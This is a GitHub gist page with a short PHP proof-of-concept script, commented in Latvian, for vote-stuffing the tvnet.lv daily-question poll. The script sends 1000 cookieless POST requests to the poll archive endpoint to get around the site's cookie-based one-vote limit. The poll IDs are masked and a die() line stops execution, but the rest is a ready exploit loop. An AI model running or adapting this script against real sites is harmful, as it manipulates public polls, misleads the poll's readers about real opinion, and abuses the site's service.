Skip to content

Instantly share code, notes, and snippets.

@blackhalt
Last active December 19, 2015 13:49
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save blackhalt/5964943 to your computer and use it in GitHub Desktop.
Save blackhalt/5964943 to your computer and use it in GitHub Desktop.
<?php
die();
# TVNET -- Dienas jautājums kukijaptaujas balsošana
# POC
# http://youtu.be/rq3oqS2TRmQ
# http://blackhalt.blogspot.com/2013/07/kukijbalsojumi.html
# Nesetojam Cookies vispār!
# Vienkāršs POST
$darba_direktorija='/zumm/';
require_once($darba_direktorija.'curlclass.php');
$cc = new cURL();
for ($i = 1; $i <= 1000; $i++) {
$ck = $cc->post('http://www.tvnet.lv/zinas/poll_archive', "poll_question_id=XXXX&poll_answer_id=XXXXX");
echo "$i\n";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment